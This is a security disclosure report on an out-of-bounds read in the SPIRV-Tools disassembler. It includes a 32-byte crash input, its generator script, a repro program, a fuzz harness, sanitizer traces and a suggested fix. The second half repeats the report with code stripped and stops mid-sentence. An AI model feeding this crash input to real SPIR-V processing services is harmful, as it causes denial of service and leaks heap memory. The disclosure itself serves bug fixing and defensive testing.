Heap-Buffer-Overflow in FriendlyNameMapper::ParseInstruction via OpTypePointer short word-count under HANDLE_UNKNOWN_OPCODES
Summary
spvBinaryToText with SPV_BINARY_TO_TEXT_OPTION_FRIENDLY_NAMES and
SPV_BINARY_TO_TEXT_OPTION_HANDLE_UNKNOWN_OPCODES set reads 4 bytes
past the end of the caller-supplied SPIR-V word buffer at
source/name_mapper.cpp:268 when the module contains an
OpTypePointer instruction whose declared word count is 3 (one fewer
than the grammar requires) and whose StorageClass operand is an
out-of-range enum. The HANDLE_UNKNOWN_OPCODES retry path bypasses the
parser's "all mandatory operands present" gate, so
FriendlyNameMapper::ParseInstruction is dispatched on an instruction
whose inst.num_words == 3, then the OpTypePointer arm
unconditionally reads inst.words[3].
Root Cause
The bug requires two cooperating disassembler options:
-
SPV_BINARY_TO_TEXT_OPTION_FRIENDLY_NAMES causes
spvBinaryToText (source/disassemble.cpp:1129-1131) to construct
a FriendlyNameMapper, whose constructor
(source/name_mapper.cpp:46) calls spvBinaryParseWithOptions
with FriendlyNameMapper::ParseInstructionForwarder as the
parsed-instruction callback (source/name_mapper.h:107).
-
SPV_BINARY_TO_TEXT_OPTION_HANDLE_UNKNOWN_OPCODES is propagated
into the parser via spvBinaryParseWithOptions at
source/binary.cpp:965-967, which calls
Parser::SetHandleUnknownOpcodes(true). This enables a fallback
path inside Parser::parseInstruction() (source/binary.cpp:310):
when parseOperand rejects an enum value it does not recognise it
sets retry_instruction_as_unknown_ = true
(source/binary.cpp:762); the outer parser loop catches this at
source/binary.cpp:409-411 and falls back to the local
emitAsUnknown() lambda (source/binary.cpp:349-375).
emitAsUnknown() constructs the spv_parsed_instruction_t it hands
to the callback by setting
inst.words = _.words + inst_offset; // binary.cpp:365-366
inst.num_words = inst_word_count; // binary.cpp:367
where inst_word_count is the declared word count from the
instruction-header word — it is not clamped to the number of
operand words actually present in the buffer beyond the declared
inst_offset + inst_word_count boundary, and (critically) it is not
required to satisfy the grammar's mandatory-operand count. The normal
fast path enforces the latter at source/binary.cpp:417-422; the
unknown-fallback skips that check entirely.
The callback FriendlyNameMapper::ParseInstruction
(source/name_mapper.cpp:164-165) then dispatches on
inst.opcode and the OpTypePointer (opcode 32 / 0x20) arm
reads inst.words[3] without consulting inst.num_words:
Vulnerable code (source/name_mapper.cpp:264-269)
case spv::Op::OpTypePointer:
SaveName(result_id, std::string("_ptr_") +
NameForEnumOperand(SPV_OPERAND_TYPE_STORAGE_CLASS,
inst.words[2]) +
"_" + NameForId(inst.words[3])); // <-- line 268
break;
OpTypePointer's SPIR-V grammar (spirv-headers
spirv.core.grammar.json, opcode 32) defines three operands:
IdResult, StorageClass, and the pointed-to IdRef Type. A valid
encoding therefore has num_words == 4 (1 header + 3 operands). When
the malformed instruction declares num_words == 3 and the
StorageClass is rejected by the unknown-fallback path, the buffer
hands the callback a 3-word region; reading inst.words[3] walks
past the end of the caller's uint32_t[].
The other Type-Declaration arms in ParseInstruction follow the same
pattern (OpTypeVector reads inst.words[3], OpTypeMatrix reads
inst.words[3], OpTypeArray reads inst.words[3], OpTypePointer
reads inst.words[3], ...). Each is reachable through the same
HANDLE_UNKNOWN_OPCODES + FRIENDLY_NAMES combination on its own
short-encoded opcode; the single bug here is the missing
inst.num_words precondition check across the whole switch, and the
single fix sites are either (a) a precondition assertion in
emitAsUnknown() to refuse callbacks for declared-too-short
instructions, or (b) a inst.num_words >= N guard in the
FriendlyNameMapper::ParseInstruction switch (and any other
spv_parsed_instruction_fn_t consumer) before subscripting words.
This finding is distinct from two other spirv-tools findings in
the same disassembler / linker subtrees:
segv-OrderBlocks-disassemble.md — SEGV at
source/disassemble.cpp:416 in
spvtools::(anonymous namespace)::OrderBlocks, triggered by
REORDER_BLOCKS / NESTED_INDENT. Different file, different
function, different option, different crash class (NULL/empty-vector
SEGV vs heap-buffer-overflow READ).
assertion-spirv-tools-link-bound-zero-not-validated.md — reachable
assertion inside spvtools::Link (source/link/linker.cpp).
Different subsystem (linker vs disassembler).
Severity
CVSS 3.1 Score: 6.5 (Medium)
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L
| Metric |
Value |
Rationale |
| Attack Vector |
Network |
Crash payload is a 32-byte SPIR-V binary; any process disassembling attacker-supplied SPIR-V (offline shader compilers, validation pipelines, GPU driver developer tools, OSS-Fuzz harnesses, IDE shader plugins) is exposed. SPIR-V is a binary interchange format that crosses trust boundaries in graphics/compute toolchains. |
| Attack Complexity |
Low |
Single 32-byte input; no race or environmental shaping. The two required option bits (FRIENDLY_NAMES, HANDLE_UNKNOWN_OPCODES) are independently set by callers; both are documented public bits in libspirv.h. |
| Privileges Required |
None |
The crashing call is reachable from any caller of spvBinaryToText. |
| User Interaction |
None |
A consumer that auto-disassembles SPIR-V on import (build pipeline, asset bundler) crashes without user action. |
| Confidentiality |
Low |
4-byte OOB read of adjacent heap memory; the value is fed into NameForId which renders it into a name string that may be returned to the caller via spv_text. With FRIENDLY_NAMES + COMMENT (or any code path that surfaces the disassembled text) the leaked word can be observed by the attacker — a classic small-window heap-content disclosure. |
| Integrity |
None |
No write. |
| Availability |
Low |
Reliable crash → DoS for any service that disassembles untrusted SPIR-V. |
This is a memory-safety bug with both a controlled OOB-read and a
DoS. We mark it Medium rather than High because the read is bounded
to 4 bytes and write-side / control-flow corruption is not
demonstrated.
PoC
Crash input
The libFuzzer harness wire format prepends 3 FuzzedDataProvider
option bytes (env, extended-options, legacy-options) which the
harness consumes from the end of the input via
ConsumeIntegral<uint8_t>(). After stripping those, the remaining
32 bytes are a SPIR-V word stream whose interesting bytes are the
sixth word 0x00030020:
word[0] = 0x07230203 // SPIR-V magic
word[1] = 0x00010300 // version 1.3
word[2] = 0xd372f000 // generator
word[3] = 0xffffffff // bound (intentionally large; not material)
word[4] = 0x000000ba // schema (reserved=0 expected; harmless garbage)
word[5] = 0x00030020 // INSTRUCTION: word_count=3, opcode=0x20 (OpTypePointer)
word[6] = 0x000f00fe // claimed result_id (reused as next-inst header)
word[7] = 0x0000002a // StorageClass operand (= 42, out of range)
The instruction at word[5] declares 3 words but OpTypePointer's
grammar requires 4. The StorageClass operand 42 is not a valid
spv::StorageClass, which forces the parser onto the
HANDLE_UNKNOWN_OPCODES retry path. FriendlyNameMapper::ParseInstruction
is then invoked with inst.num_words == 3 and the OpTypePointer
switch arm reads inst.words[3] past the buffer end.
# generate_poc.py — re-create the original libFuzzer crash bytes (35
# bytes including the 3-byte FuzzedDataProvider option suffix) and
# also the 32-byte stripped SPIR-V word stream the public-API repro
# consumes.
poc = bytes([
0x03, 0x02, 0x23, 0x07, 0x00, 0x03, 0x01, 0x00,
0x00, 0xf0, 0x72, 0xd3, 0xff, 0xff, 0xff, 0xff,
0xba, 0x00, 0x00, 0x00, 0x20, 0x00, 0x03, 0x00,
0xfe, 0x00, 0x0f, 0x00, 0x2a, 0x00, 0x00, 0x00,
])
open("poc.bin", "wb").write(poc)
Crash input size: 32 bytes (8 SPIR-V words).
Fuzzer Reproduction
The libFuzzer harness spirv_dis_extended_options_fuzzer drives
spvBinaryToText with the four newer disassembler option bits
(COMMENT, NESTED_INDENT, REORDER_BLOCKS,
HANDLE_UNKNOWN_OPCODES) plus the seven legacy bits. Build it
against an ASan-instrumented SPIRV-Tools static library:
# Reuses libSPIRV-Tools.a built with -fsanitize=address (see
# Production Reproduction below for the cmake invocation).
clang++ -fsanitize=fuzzer,address -std=c++17 -g -O1 -fno-omit-frame-pointer \
-I sources/spirv-tools/include \
-I sources/spirv-tools/external/spirv-headers/include \
-I sources/spirv-tools/build-asan/include \
spirv_dis_extended_options_fuzzer.cc \
-Wl,--start-group \
sources/spirv-tools/build-asan/source/libSPIRV-Tools.a \
sources/spirv-tools/build-asan/source/opt/libSPIRV-Tools-opt.a \
sources/spirv-tools/build-asan/source/link/libSPIRV-Tools-link.a \
sources/spirv-tools/build-asan/source/reduce/libSPIRV-Tools-reduce.a \
-Wl,--end-group \
-pthread \
-o spirv_dis_extended_options_fuzzer
Run the harness on the original 35-byte libFuzzer crash input:
ASAN_OPTIONS="symbolize=1:print_stacktrace=1:detect_leaks=0:abort_on_error=0" \
./spirv_dis_extended_options_fuzzer ./crash-c98e152287e0ab6a3746440f3bfa0a151f273421
Sanitizer output (top frames, harness-side replay, 3/3 deterministic):
==2104514==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x503000000150 at pc 0x5557591935a0 bp 0x7ffeaf46ca50 sp 0x7ffeaf46ca48
READ of size 4 at 0x503000000150 thread T0
#0 0x55575919359f in spvtools::FriendlyNameMapper::ParseInstruction(spv_parsed_instruction_t const&) source/name_mapper.cpp:268:47
#1 0x555759184fef in spvtools::FriendlyNameMapper::ParseInstructionForwarder(void*, spv_parsed_instruction_t const*) source/name_mapper.h:107:62
#2 0x5557591f0b98 in (anonymous namespace)::Parser::parseInstruction()::$_0::operator()() const source/binary.cpp:372:24
#3 0x5557591ea1a5 in (anonymous namespace)::Parser::parseInstruction() source/binary.cpp:411:16
#4 0x5557591ea1a5 in (anonymous namespace)::Parser::parseModule() source/binary.cpp:302:22
#5 0x5557591e2e30 in (anonymous namespace)::Parser::parse(...) source/binary.cpp:260:31
#6 0x5557591e2e30 in spvBinaryParseWithOptions(...) source/binary.cpp:968:17
#7 0x555759184ede in spvtools::FriendlyNameMapper::FriendlyNameMapper(...) source/name_mapper.cpp:46:3
#9 0x55575917b83a in spvBinaryToText source/disassemble.cpp:1130:23
#10 0x55575916c006 in LLVMFuzzerTestOneInput spirv_dis_extended_options_fuzzer.cc:131:9
0x503000000150 is located 0 bytes after 32-byte region [0x503000000130,0x503000000150)
SUMMARY: AddressSanitizer: heap-buffer-overflow source/name_mapper.cpp:268:47 in spvtools::FriendlyNameMapper::ParseInstruction(spv_parsed_instruction_t const&)
Production Reproduction
Path B: a 60-line public-API program that calls spvBinaryToText
exactly the way an offline SPIR-V disassembler tool (or any consumer
that uses the FRIENDLY_NAMES feature with HANDLE_UNKNOWN_OPCODES
fallback) would.
Repro program (repro.cc)
// repro.cc — public-API reproduction of HBO at name_mapper.cpp:268.
#include <cstdio>
#include <cstdlib>
#include <cstdint>
#include <vector>
#include "spirv-tools/libspirv.h"
int main(int argc, char** argv) {
if (argc != 2) {
fprintf(stderr, "Usage: %s <spirv_words.bin>\n", argv[0]);
return 1;
}
FILE* f = fopen(argv[1], "rb");
if (!f) { perror("fopen"); return 1; }
fseek(f, 0, SEEK_END);
long n = ftell(f);
fseek(f, 0, SEEK_SET);
if (n <= 0 || (n % 4) != 0) {
fprintf(stderr, "input must be a non-empty 4-byte-aligned word stream\n");
fclose(f);
return 1;
}
std::vector<uint32_t> words(n / 4);
if (fread(words.data(), 1, n, f) != static_cast<size_t>(n)) {
perror("fread");
fclose(f);
return 1;
}
fclose(f);
spv_context ctx = spvContextCreate(SPV_ENV_OPENGL_4_5);
if (!ctx) return 1;
// FRIENDLY_NAMES enters the FriendlyNameMapper constructor.
// HANDLE_UNKNOWN_OPCODES enables the unknown-opcode retry that
// bypasses the "all mandatory operands present" check.
uint32_t options = SPV_BINARY_TO_TEXT_OPTION_FRIENDLY_NAMES |
SPV_BINARY_TO_TEXT_OPTION_HANDLE_UNKNOWN_OPCODES;
spv_text text = nullptr;
spv_diagnostic diag = nullptr;
(void)spvBinaryToText(ctx, words.data(), words.size(), options, &text, &diag);
if (diag) spvDiagnosticDestroy(diag);
if (text) spvTextDestroy(text);
spvContextDestroy(ctx);
return 0;
}
Build commands
git clone https://github.com/KhronosGroup/SPIRV-Tools.git sources/spirv-tools
git -C sources/spirv-tools/external clone \
https://github.com/KhronosGroup/SPIRV-Headers.git spirv-headers
git -C sources/spirv-tools checkout ff5c50339cc1e9f34f04cb440a3e5fe89db0161d
mkdir -p sources/spirv-tools/build-asan
cd sources/spirv-tools/build-asan
cmake .. \
-DCMAKE_BUILD_TYPE=RelWithDebInfo \
-DSPIRV_WERROR=OFF \
-DSPIRV_SKIP_TESTS=ON \
-DCMAKE_C_FLAGS="-fsanitize=address -fno-omit-frame-pointer -g -O1" \
-DCMAKE_CXX_FLAGS="-fsanitize=address -fno-omit-frame-pointer -g -O1" \
-DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
-DCMAKE_SHARED_LINKER_FLAGS="-fsanitize=address"
cmake --build . --target SPIRV-Tools-static -j"$(nproc)"
cd ../../..
clang++ -std=c++17 -fsanitize=address -g -O1 -fno-omit-frame-pointer \
-I sources/spirv-tools/include \
repro.cc \
sources/spirv-tools/build-asan/source/libSPIRV-Tools.a \
-lpthread \
-o repro
Generate poc.bin
Run the generate_poc.py shown in the PoC section, then strip the
3 trailing FuzzedDataProvider option bytes to obtain the raw SPIR-V
word stream the public-API repro consumes:
python3 generate_poc.py
python3 -c "
data = open('poc.bin','rb').read()[:-3]
data = data[:len(data) - (len(data) % 4)]
open('poc.bin','wb').write(data)
print(f'wrote {len(data)} bytes ({len(data)//4} words)')
"
# wrote 32 bytes (8 words)
Run
ASAN_OPTIONS="symbolize=1:print_stacktrace=1:detect_leaks=0:abort_on_error=0" \
./repro poc.bin
# Crashes with: AddressSanitizer: heap-buffer-overflow ...
Sanitizer output (top frames, 3/3 deterministic):
==2350397==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7c01425e0060 at pc 0x55e1efb69050 bp 0x7ffd785c3890 sp 0x7ffd785c3888
READ of size 4 at 0x7c01425e0060 thread T0
#0 0x55e1efb6904f in spvtools::FriendlyNameMapper::ParseInstruction(spv_parsed_instruction_t const&) source/name_mapper.cpp:268:47
#1 0x55e1efb5a6ff in spvtools::FriendlyNameMapper::ParseInstructionForwarder(void*, spv_parsed_instruction_t const*) source/name_mapper.h:107:62
#2 0x55e1efbc7408 in (anonymous namespace)::Parser::parseInstruction()::$_0::operator()() const source/binary.cpp:372:24
#3 0x55e1efbc0a15 in (anonymous namespace)::Parser::parseInstruction() source/binary.cpp:411:16
#4 0x55e1efbc0a15 in (anonymous namespace)::Parser::parseModule() source/binary.cpp:302:22
#5 0x55e1efbb96a0 in (anonymous namespace)::Parser::parse(...) source/binary.cpp:260:31
#6 0x55e1efbb96a0 in spvBinaryParseWithOptions(...) source/binary.cpp:968:17
#7 0x55e1efb5a5ee in spvtools::FriendlyNameMapper::FriendlyNameMapper(...) source/name_mapper.cpp:46:3
#9 0x55e1efb50e9a in spvBinaryToText source/disassemble.cpp:1130:23
#10 0x55e1efb41c87 in main repro.cc:80:9
0x7c01425e0060 is located 0 bytes after 32-byte region [0x7c01425e0040,0x7c01425e0060)
SUMMARY: AddressSanitizer: heap-buffer-overflow source/name_mapper.cpp:268:47 in spvtools::FriendlyNameMapper::ParseInstruction(spv_parsed_instruction_t const&)
The harness-side and production-side traces share the identical top
frame (FriendlyNameMapper::ParseInstruction at
source/name_mapper.cpp:268:47), allocation-size (32-byte region),
and offset (0 bytes after).
Impact
| Aspect |
Details |
| Type |
Heap-buffer-overflow (READ, 4 bytes) |
| Severity |
Medium |
| Attack Vector |
Any consumer of spvBinaryToText that sets both SPV_BINARY_TO_TEXT_OPTION_FRIENDLY_NAMES and SPV_BINARY_TO_TEXT_OPTION_HANDLE_UNKNOWN_OPCODES is exposed when handed attacker-supplied SPIR-V. |
| Affected Component |
spirv-tools / source/name_mapper.cpp / spvtools::FriendlyNameMapper::ParseInstruction |
| Affected Versions |
KhronosGroup/SPIRV-Tools at commit ff5c50339cc1e9f34f04cb440a3e5fe89db0161d ("spirv-val: Add validation for 4-bit integer types (#6644)"). The bug is a long-standing missing-precondition in code that pre-dates the HANDLE_UNKNOWN_OPCODES retry path; the retry path in binary.cpp:409-411 and the unguarded subscripts in name_mapper.cpp are both present in main. |
| CWE |
CWE-125 (Out-of-bounds Read) and CWE-129 (Improper Validation of Array Index) |
Suggested Fix
The least-invasive fix is in source/binary.cpp: when the
unknown-opcode fallback dispatches the callback, the parser must
still satisfy the same operand-count contract it normally enforces at
source/binary.cpp:417-422 — specifically, inst.num_words must be
at least the grammar's mandatory-operand count for the recognised
opcode (OpTypePointer's opcode IS recognised; only the StorageClass
operand was unknown). Either:
- In
emitAsUnknown(), refuse to dispatch the callback when the
declared inst_word_count is below the grammar's minimum for the
known opcode and return a diagnostic instead.
- Or, defensively, harden each Type-Declaration arm in
FriendlyNameMapper::ParseInstruction to check inst.num_words
before subscripting words — mirroring the pattern already used in
the OpDecorate arm (source/name_mapper.cpp:178,
assert(inst.num_words > 3);).
Sketch of (2), one-line guard at the OpTypePointer arm (full fix
should cover OpTypeVector / OpTypeMatrix / OpTypeArray /
OpTypeRuntimeArray / OpTypeNodePayloadArrayAMDX /
OpTypeUntypedPointerKHR / OpTypePipe symmetrically):
--- a/source/name_mapper.cpp
+++ b/source/name_mapper.cpp
@@ -262,11 +262,12 @@ spv_result_t FriendlyNameMapper::ParseInstruction(
std::string("_payloadarr_") + NameForId(inst.words[2]));
break;
case spv::Op::OpTypePointer:
- SaveName(result_id, std::string("_ptr_") +
- NameForEnumOperand(SPV_OPERAND_TYPE_STORAGE_CLASS,
- inst.words[2]) +
- "_" + NameForId(inst.words[3]));
- break;
+ if (inst.num_words >= 4) {
+ SaveName(result_id, std::string("_ptr_") +
+ NameForEnumOperand(SPV_OPERAND_TYPE_STORAGE_CLASS,
+ inst.words[2]) +
+ "_" + NameForId(inst.words[3]));
+ }
+ break;
Approach (1) is preferred because it fixes every consumer of
spv_parsed_instruction_fn_t at once (validator, disassembler,
optimizer, future callers) and keeps the existing invariant that
"if the parser hands you an inst, all of inst.words[0..num_words)
are addressable AND the declared word count is at least the grammar
minimum for inst.opcode." The retry-as-unknown path silently
violates the second half of that invariant today.
Fuzz Harness Source
// spirv_dis_extended_options_fuzzer.cc
// Copyright (c) 2026 Google Inc.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
// libFuzzer harness for Logic Group: spirv_dis_extended_options
//
// Drives spvBinaryToText (C API) with the FOUR newer disassembler option
// bits that the in-tree spvtools_dis_fuzzer.cpp does NOT exercise:
// SPV_BINARY_TO_TEXT_OPTION_COMMENT (bit 7)
// SPV_BINARY_TO_TEXT_OPTION_NESTED_INDENT (bit 8)
// SPV_BINARY_TO_TEXT_OPTION_REORDER_BLOCKS (bit 9)
// SPV_BINARY_TO_TEXT_OPTION_HANDLE_UNKNOWN_OPCODES (bit 10)
// The existing dis_fuzzer loops options from 0..0x7E (bits 0..6 only),
// so bits 7..10 are cold code at fuzz time even though each of them
// enables a non-trivial new emission path inside the disassembler:
// - COMMENT adds annotation logic walking OpDecorate chains.
// - NESTED_INDENT tracks structured-control-flow nesting state.
// - REORDER_BLOCKS runs a secondary CFG traversal before printing.
// - HANDLE_UNKNOWN_OPCODES changes the opcode-dispatch fallback.
// All four bits are combinable, so the harness fuzz-selects any subset
// (16 combos) from a single header byte AND also drives the older bits
// 0..6 via another byte so the full option-space is covered.
//
// Input layout (FuzzedDataProvider):
// byte 0 : low nibble = target_env selector (see PickEnv).
// byte 1 : extended option bits (bits 0..3 -> COMMENT / NESTED_INDENT
// / REORDER_BLOCKS / HANDLE_UNKNOWN_OPCODES).
// byte 2 : legacy option bits (bits 0..6 -> NONE / PRINT / COLOR /
// INDENT / SHOW_BYTE_OFFSET / NO_HEADER / FRIENDLY_NAMES).
// bit 7 forces the legacy byte to zero when set (so the
// extended-bits-only case is exercised distinctly).
// bytes 3..: SPIR-V word stream (4-byte LE aligned).
#include <cstddef>
#include <cstdint>
#include <cstring>
#include <vector>
#include <fuzzer/FuzzedDataProvider.h>
#include "spirv-tools/libspirv.h"
namespace {
constexpr size_t kMaxWords = 16 * 1024; // 64KB input cap.
spv_target_env PickEnv(uint8_t nibble) {
switch (nibble & 0x0F) {
case 0: return SPV_ENV_UNIVERSAL_1_0;
case 1: return SPV_ENV_UNIVERSAL_1_1;
case 2: return SPV_ENV_UNIVERSAL_1_2;
case 3: return SPV_ENV_UNIVERSAL_1_3;
case 4: return SPV_ENV_UNIVERSAL_1_4;
case 5: return SPV_ENV_UNIVERSAL_1_5;
case 6: return SPV_ENV_VULKAN_1_0;
case 7: return SPV_ENV_VULKAN_1_1;
case 8: return SPV_ENV_VULKAN_1_2;
case 9: return SPV_ENV_VULKAN_1_3;
case 10: return SPV_ENV_OPENGL_4_5;
case 11: return SPV_ENV_OPENCL_1_2;
default: return SPV_ENV_UNIVERSAL_1_5;
}
}
} // namespace
extern "C" int LLVMFuzzerTestOneInput(const uint8_t* data, size_t size) {
// 3-byte header + at least a 1-word SPIR-V body (the dis APIs bail
// on size < 4 anyway, we pre-filter to keep libFuzzer focused).
if (size < 3 + sizeof(uint32_t)) {
return 0;
}
FuzzedDataProvider fdp(data, size);
const uint8_t env_byte = fdp.ConsumeIntegral<uint8_t>();
const uint8_t extended_byte = fdp.ConsumeIntegral<uint8_t>();
const uint8_t legacy_byte = fdp.ConsumeIntegral<uint8_t>();
const spv_target_env env = PickEnv(env_byte);
uint32_t options = 0;
if (extended_byte & 0x01u) options |= SPV_BINARY_TO_TEXT_OPTION_COMMENT;
if (extended_byte & 0x02u) options |= SPV_BINARY_TO_TEXT_OPTION_NESTED_INDENT;
if (extended_byte & 0x04u) options |= SPV_BINARY_TO_TEXT_OPTION_REORDER_BLOCKS;
if (extended_byte & 0x08u) {
options |= SPV_BINARY_TO_TEXT_OPTION_HANDLE_UNKNOWN_OPCODES;
}
// Suppress the PRINT bit — PRINT writes to stdout from inside the
// library which adds noise to the fuzz log and has no bug-finding
// value for this LG.
if ((legacy_byte & 0x80u) == 0) {
if (legacy_byte & 0x01u) options |= SPV_BINARY_TO_TEXT_OPTION_NONE;
if (legacy_byte & 0x04u) options |= SPV_BINARY_TO_TEXT_OPTION_COLOR;
if (legacy_byte & 0x08u) options |= SPV_BINARY_TO_TEXT_OPTION_INDENT;
if (legacy_byte & 0x10u) {
options |= SPV_BINARY_TO_TEXT_OPTION_SHOW_BYTE_OFFSET;
}
if (legacy_byte & 0x20u) options |= SPV_BINARY_TO_TEXT_OPTION_NO_HEADER;
if (legacy_byte & 0x40u) options |= SPV_BINARY_TO_TEXT_OPTION_FRIENDLY_NAMES;
}
const std::vector<uint8_t> body = fdp.ConsumeRemainingBytes<uint8_t>();
if (body.size() < sizeof(uint32_t)) return 0;
const size_t word_count = std::min(body.size() / sizeof(uint32_t), kMaxWords);
std::vector<uint32_t> binary(word_count);
// LE byte-to-word pack. memcpy is safe because word_count is derived
// from body.size() via floor-div and the multiply cannot overflow for
// the 64KB cap.
if (word_count > 0) {
std::memcpy(binary.data(), body.data(), word_count * sizeof(uint32_t));
}
const spv_context context = spvContextCreate(env);
if (context == nullptr) return 0;
spv_text text = nullptr;
spv_diagnostic diagnostic = nullptr;
(void)spvBinaryToText(context, binary.data(), binary.size(), options, &text,
&diagnostic);
if (diagnostic != nullptr) {
spvDiagnosticDestroy(diagnostic);
diagnostic = nullptr;
}
if (text != nullptr) {
spvTextDestroy(text);
text = nullptr;
}
spvContextDestroy(context);
return 0;
}
Compiled with clang++ -fsanitize=fuzzer,address -std=c++17 -g -O1 -fno-omit-frame-pointer against the four ASan-built static libraries
(libSPIRV-Tools.a, libSPIRV-Tools-opt.a, libSPIRV-Tools-link.a,
libSPIRV-Tools-reduce.a) wrapped in -Wl,--start-group ... -Wl,--end-group -pthread. Includes pull from
sources/spirv-tools/{include,external/spirv-headers/include,build/include}.
Corpus: SPIR-V module fuzzing seeds (4-byte aligned word streams with
the SPIR-V magic 0x07230203). No special ASAN_OPTIONS overrides;
no fork-mode flags.
Discovery
- Discovered by: O2 Security Team (FuzzingBrain)
- Discovered on: 2026-04-25
- Harness:
spirv_dis_extended_options_fuzzer.cc (see "Fuzz Harness Source" above)
Heap-Buffer-Overflow in
FriendlyNameMapper::ParseInstructionviaOpTypePointershort word-count underHANDLE_UNKNOWN_OPCODESSummary
spvBinaryToTextwithSPV_BINARY_TO_TEXT_OPTION_FRIENDLY_NAMESandSPV_BINARY_TO_TEXT_OPTION_HANDLE_UNKNOWN_OPCODESset reads 4 bytespast the end of the caller-supplied SPIR-V word buffer at
source/name_mapper.cpp:268when the module contains anOpTypePointerinstruction whose declared word count is 3 (one fewerthan the grammar requires) and whose
StorageClassoperand is anout-of-range enum. The HANDLE_UNKNOWN_OPCODES retry path bypasses the
parser's "all mandatory operands present" gate, so
FriendlyNameMapper::ParseInstructionis dispatched on an instructionwhose
inst.num_words == 3, then theOpTypePointerarmunconditionally reads
inst.words[3].Root Cause
The bug requires two cooperating disassembler options:
SPV_BINARY_TO_TEXT_OPTION_FRIENDLY_NAMEScausesspvBinaryToText(source/disassemble.cpp:1129-1131) to constructa
FriendlyNameMapper, whose constructor(
source/name_mapper.cpp:46) callsspvBinaryParseWithOptionswith
FriendlyNameMapper::ParseInstructionForwarderas theparsed-instruction callback (
source/name_mapper.h:107).SPV_BINARY_TO_TEXT_OPTION_HANDLE_UNKNOWN_OPCODESis propagatedinto the parser via
spvBinaryParseWithOptionsatsource/binary.cpp:965-967, which callsParser::SetHandleUnknownOpcodes(true). This enables a fallbackpath inside
Parser::parseInstruction()(source/binary.cpp:310):when
parseOperandrejects an enum value it does not recognise itsets
retry_instruction_as_unknown_ = true(
source/binary.cpp:762); the outer parser loop catches this atsource/binary.cpp:409-411and falls back to the localemitAsUnknown()lambda (source/binary.cpp:349-375).emitAsUnknown()constructs thespv_parsed_instruction_tit handsto the callback by setting
where
inst_word_countis the declared word count from theinstruction-header word — it is not clamped to the number of
operand words actually present in the buffer beyond the declared
inst_offset + inst_word_countboundary, and (critically) it is notrequired to satisfy the grammar's mandatory-operand count. The normal
fast path enforces the latter at
source/binary.cpp:417-422; theunknown-fallback skips that check entirely.
The callback
FriendlyNameMapper::ParseInstruction(
source/name_mapper.cpp:164-165) then dispatches oninst.opcodeand theOpTypePointer(opcode32/0x20) armreads
inst.words[3]without consultinginst.num_words:Vulnerable code (
source/name_mapper.cpp:264-269)OpTypePointer's SPIR-V grammar (spirv-headersspirv.core.grammar.json, opcode 32) defines three operands:IdResult,StorageClass, and the pointed-toIdRef Type. A validencoding therefore has
num_words == 4(1 header + 3 operands). Whenthe malformed instruction declares
num_words == 3and theStorageClass is rejected by the unknown-fallback path, the buffer
hands the callback a 3-word region; reading
inst.words[3]walkspast the end of the caller's
uint32_t[].The other Type-Declaration arms in
ParseInstructionfollow the samepattern (
OpTypeVectorreadsinst.words[3],OpTypeMatrixreadsinst.words[3],OpTypeArrayreadsinst.words[3],OpTypePointerreads
inst.words[3], ...). Each is reachable through the sameHANDLE_UNKNOWN_OPCODES + FRIENDLY_NAMES combination on its own
short-encoded opcode; the single bug here is the missing
inst.num_wordsprecondition check across the whole switch, and thesingle fix sites are either (a) a precondition assertion in
emitAsUnknown()to refuse callbacks for declared-too-shortinstructions, or (b) a
inst.num_words >= Nguard in theFriendlyNameMapper::ParseInstructionswitch (and any otherspv_parsed_instruction_fn_tconsumer) before subscriptingwords.This finding is distinct from two other spirv-tools findings in
the same disassembler / linker subtrees:
segv-OrderBlocks-disassemble.md— SEGV atsource/disassemble.cpp:416inspvtools::(anonymous namespace)::OrderBlocks, triggered byREORDER_BLOCKS/NESTED_INDENT. Different file, differentfunction, different option, different crash class (NULL/empty-vector
SEGV vs heap-buffer-overflow READ).
assertion-spirv-tools-link-bound-zero-not-validated.md— reachableassertion inside
spvtools::Link(source/link/linker.cpp).Different subsystem (linker vs disassembler).
Severity
CVSS 3.1 Score: 6.5 (Medium)
Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:LFRIENDLY_NAMES,HANDLE_UNKNOWN_OPCODES) are independently set by callers; both are documented public bits inlibspirv.h.spvBinaryToText.NameForIdwhich renders it into a name string that may be returned to the caller viaspv_text. WithFRIENDLY_NAMES + COMMENT(or any code path that surfaces the disassembled text) the leaked word can be observed by the attacker — a classic small-window heap-content disclosure.This is a memory-safety bug with both a controlled OOB-read and a
DoS. We mark it Medium rather than High because the read is bounded
to 4 bytes and write-side / control-flow corruption is not
demonstrated.
PoC
Crash input
The libFuzzer harness wire format prepends 3
FuzzedDataProvideroption bytes (
env,extended-options,legacy-options) which theharness consumes from the end of the input via
ConsumeIntegral<uint8_t>(). After stripping those, the remaining32 bytes are a SPIR-V word stream whose interesting bytes are the
sixth word
0x00030020:The instruction at
word[5]declares 3 words butOpTypePointer'sgrammar requires 4. The StorageClass operand
42is not a validspv::StorageClass, which forces the parser onto theHANDLE_UNKNOWN_OPCODES retry path.
FriendlyNameMapper::ParseInstructionis then invoked with
inst.num_words == 3and the OpTypePointerswitch arm reads
inst.words[3]past the buffer end.Crash input size: 32 bytes (8 SPIR-V words).
Fuzzer Reproduction
The libFuzzer harness
spirv_dis_extended_options_fuzzerdrivesspvBinaryToTextwith the four newer disassembler option bits(
COMMENT,NESTED_INDENT,REORDER_BLOCKS,HANDLE_UNKNOWN_OPCODES) plus the seven legacy bits. Build itagainst an ASan-instrumented SPIRV-Tools static library:
Run the harness on the original 35-byte libFuzzer crash input:
ASAN_OPTIONS="symbolize=1:print_stacktrace=1:detect_leaks=0:abort_on_error=0" \ ./spirv_dis_extended_options_fuzzer ./crash-c98e152287e0ab6a3746440f3bfa0a151f273421Sanitizer output (top frames, harness-side replay, 3/3 deterministic):
Production Reproduction
Path B: a 60-line public-API program that calls
spvBinaryToTextexactly the way an offline SPIR-V disassembler tool (or any consumer
